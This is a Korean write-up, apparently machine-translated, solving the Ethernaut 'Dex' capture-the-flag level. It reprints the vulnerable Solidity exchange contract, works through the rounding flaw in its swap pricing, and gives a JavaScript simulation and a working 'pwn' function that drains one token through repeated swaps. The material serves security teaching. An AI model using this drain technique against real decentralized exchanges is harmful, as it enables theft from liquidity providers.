Ethernaut: 22. 덱스 원

Play the level

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract Dex is Ownable {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor() public {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function addLiquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }

  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(msg.sender, spender, amount);
    SwappableToken(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableToken is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
    _mint(msg.sender, initialSupply);
    _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}


이 수준에는 탈중앙화 거래소(DEX) 계약이 있습니다. 제 경우에는 DEX의 두 토큰입니다.
  • 토큰 1: 0xc0C87488841BF66e402F431853b100A735c1db73
  • 토큰 2: 0x7EdAC717C9f67727c9c13B78AcC89B7f84dcEedb

  • 두 토큰이 모두 있는지 확인할 수 있습니다.

    // we have 10 of both tokens
    (await contract.balanceOf(await contract.token1(), player)).toNumber()
    (await contract.balanceOf(await contract.token2(), player)).toNumber()
    // DEX has 100 of both tokens
    (await contract.balanceOf(await contract.token1(), contract.address)).toNumber()
    (await contract.balanceOf(await contract.token2(), contract.address)).toNumber()
    


    우리는 "계약에서 2개의 토큰 중 적어도 1개를 모두 빼내고 계약이 자산의 나쁜 가격을 보고하도록 허용"하라는 요청을 받았습니다. 그런 다음 스왑 기능에 대해 자세히 살펴보겠습니다.

    function swap(address from, address to, uint amount) public {
      // token addresses must be valid
      require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    
      // sender must have enough balance of FROM
      require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    
      // calculate the price, we can inline the actual formula here
      // uint swapAmount = getSwapPrice(from, to, amount);
      uint swapAmount = (
        (amount * IERC20(to).balanceOf(address(this))) /
                  IERC20(from).balanceOf(address(this))
        );
    
      // DEX takes "amount" tokens from us
      IERC20(from).transferFrom(msg.sender, address(this), amount);
    
      // DEX gives "swapAmount" tokens to us
      IERC20(to).approve(address(this), swapAmount);
      IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }
    


    지금까지 명백한 공격 벡터가 없으므로 스와핑 공식에 대해 좀 더 자세히 살펴보겠습니다. d_tp_t는 각각 토큰t에 대한 DEX와 플레이어의 잔액을 나타내고, a는 금액을, sa는 스왑 금액을 나타냅니다. 모든 값은 정수이며 필요한 경우 내림합니다.

    우리는 일반성을 잃지 않고 둘 다 같은 양을 가지고 있으므로 토큰 1을 모두 교환합시다.

    sa = p_1 * (d_2 / d_1) = 10 * (100 / 100) = 10
    

    p_1 = 0 , p_2 = 20 , d_1 = 110 , d_2 = 90 , 즉 한 토큰 10개를 다른 토큰 10개로 교환했습니다. 이제 새 잔액으로 반대 작업을 수행해 보겠습니다.

    sa = p_2 * (d_1 / d_2) = 20 * (110 / 90) = 24
    


    와! 이전 거래에서 동등하게 취급되었음에도 불구하고 20개를 주고 24개의 토큰을 얻었습니다. javascript real quick로 이것을 시뮬레이트하고 이것이 계속되는지 봅시다:

    function simulate(t1_dex, t2_dex, t1_player, t2_player, maxiters = 10) { 
      // price function
      const price = (to_dex, from_dex, amount) => Math.floor(amount * to_dex / from_dex)
      let a, sa;
    
      console.log(`
      Initial
        D1: ${t1_dex}
        D2: ${t2_dex}
        P1: ${t1_player}
        P2: ${t2_player}`)
      for (i = 1; i != maxiters && t1_dex > 0 && t2_dex > 0; ++i) {
        if (i % 2) {
          // trade 'a' amount of t1 for 'sa' amount of t2
          a = t1_player
          sa = price(t2_dex, t1_dex, a)
          if (sa > t2_dex) {
            // DEX can't have negative, re-calculate
            // sa equals t2_dex this way:
            sa = price(t2_dex, t1_dex, t1_dex)
          }
    
          // from (t1) changes for a amounts
          t1_player -= a;
          t1_dex += a;
    
          // to (t2) changes for sa amounts
          t2_player += sa;
          t2_dex -= sa;
        } else {
          // trade 'a' amount of t2 for 'sa' amount of t1
          a = t2_player
          sa = price(t1_dex, t2_dex, a)
          if (sa > t1_dex) {
            // DEX can't have negative, re-calculate
            // sa equals t1_dex this way:
            sa = price(t1_dex, t2_dex, t2_dex)
          }
    
          // from (t2) changes for a amounts
          t2_player -= a;
          t2_dex += a;
    
          // to (t1) changes for sa amounts 
          t1_player += sa;
          t1_dex -= sa;
        }
    
        console.log(
          `Trade #${i}
            D1: ${t1_dex}
            D2: ${t2_dex}
            P1: ${t1_player}
            P2: ${t2_player}
            Gave: ${a} Token ${i % 2 ? "1" : "2"}
            Took: ${sa} Token ${i % 2 ? "2" : "1"}`)
    
      }
    } 
    // simulate(100, 100, 10, 10);
    


    시뮬레이션에서 스왑 금액이 DEX의 잔액보다 큰지 확인하지 않으면 DEX보다 더 많은 돈을 가져가려고 할 것입니다. 결과적으로 트랜잭션을 되돌립니다. 이 때문에 처음에 계산한 스왑 금액으로 음수 값으로 갈 때 스왑 금액이 정확히 DEX의 잔액이 되도록 다시 계산합니다.

    공식에서:

    a_s = p_from * (d_to / d_from) = d_to
    

    p_fromd_from와 같아야 함을 의미합니다.

    위의 시뮬레이션을 구현하여 실제로 계약을 호출함으로써 퍼즐을 풀 수 있습니다.

    async function pwn(maxiters = 10) { 
      // initial settings
      const T1 = await contract.token1()
      const T2 = await contract.token2()
      const DEX = contract.address
      const PLAYER = player
      let a, sa;
      let [t1_player, t2_player, t1_dex, t2_dex] = (await Promise.all([
          contract.balanceOf(T1, PLAYER),
          contract.balanceOf(T2, PLAYER),
          contract.balanceOf(T1, DEX),
          contract.balanceOf(T2, DEX)
        ])).map(bn => bn.toNumber())
    
      console.log(`
      Initial
        D1: ${t1_dex}
        D2: ${t2_dex}
        P1: ${t1_player}
        P2: ${t2_player}`)
    
      for (i = 1; i != maxiters && t1_dex > 0 && t2_dex > 0; ++i) { 
        if (i % 2) {
          // trade t1 to t2
          a = t1_player
          sa = (await contract.getSwapPrice(T1, T2, a)).toNumber()
          if (sa > t2_dex) {
            a = t1_dex
          }
    
          // make the call
          await contract.approve(contract.address, a)
          await contract.swap(T1, T2, a)
        } else {
          // trade t2 to t1
          a = t2_player
          sa = (await contract.getSwapPrice(T2, T1, a)).toNumber()
          if (sa > t1_dex) {
            a = t2_dex
          }
    
          // make the call
          await contract.approve(contract.address, a)
          await contract.swap(T2, T1, a)
        }
    
        // new balances
        ;[t1_player, t2_player, t1_dex, t2_dex] = (await Promise.all([
          contract.balanceOf(T1, PLAYER),
          contract.balanceOf(T2, PLAYER),
          contract.balanceOf(T1, DEX),
          contract.balanceOf(T2, DEX)
        ])).map(bn => bn.toNumber())
    
        console.log(
          `Trade #${i}
            D1: ${t1_dex}
            D2: ${t2_dex}
            P1: ${t1_player}
            P2: ${t2_player}
            Gave: ${a} Token ${i % 2 ? "1" : "2"}
            Took: ${sa} Token ${i % 2 ? "2" : "1"}`)
    
      }
    }  
    // await pwn()
    


    위의 기능을 실행하면 완료하는 데 일련의 트랜잭션이 필요하지만(콘솔은 상당히 화려할 것입니다) 결국 DEX는 토큰 중 하나를 고갈시킵니다! 확인을 위해 이 게시물의 시작 부분에 있는 4줄을 실행하여 잔액을 확인할 수 있습니다.

    좋은 웹페이지 즐겨찾기